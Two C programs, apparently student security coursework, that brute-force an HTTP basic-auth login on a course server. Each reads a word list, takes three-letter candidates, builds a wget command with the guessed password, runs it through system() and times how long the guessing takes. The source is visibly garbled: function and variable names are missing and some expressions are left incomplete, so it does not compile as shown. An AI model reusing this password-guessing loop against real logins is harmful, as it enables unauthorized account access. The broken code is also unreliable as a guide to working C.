#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define FOUND 2;
#define SECONDS 1e9


int findPassword(char *);

int ()
{
	FILE *fp;
	char word[64];
	char pass[3];
	int found;
	int incr=0;
	int , end, final;
	
	if ((fp = fopen("words","r")) == NULL) 
	{
		printf("Could Not open File -  tset.txt");
		return FAILURE;
		
	}
	printf("\n FILE SUCCESSFULLY opened");
	 = time();
	while (fgets(word, 64, fp) != NULL) 
	{	
		incr++;	
		word[strlen(word) - 1] = '\0';
		strncpy(pass,word,3);	
		found = findPassword(pass);	
		printf("\nTrial %d ",incr);
		if(found == 2)
		{
			printf("\nPASSWORD FOUND   --   %s",pass);
			end = time();
			final = end-;
			printf(" %lld nanoseconds   find the Password \n",final);
			printf(" %lld nanoseconds (%1f seconds)  find the Password \n",final,(double)final/SECONDS);
			return SUCCESS;
		}		
	}
	fclose(fp);	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");
		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}


#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/times.h>
#define OneBillion 1e9

int () {
   FILE *fptr;
   char pass[257];
   char send[100],path[50];
   int res,count=0;
   int startTime, stopTime, final;
   startTime = time();
   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {
   
      while(1) {
         fgets(pass,256,fptr);
         if(pass == NULL) exit(1);
         if(pass[3]=='\n') {
            pass[3]='\0';
	    send[0]='\0';
	    strcpy(send,"wget --http-user= --http-passwd=");
 	    strcat(send,pass);
	    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
	    count++;
	    if((res=(system(send)) == 0)) {
	       fclose(fptr);
	       stopTime = time();
               final = stopTime-startTime;
	       printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",pass,(double)final/OneBillion,count);
	       exit(1);
	    }
         }
      }
   }
   printf("\nFILE CANNOT  OPENED\n");
}
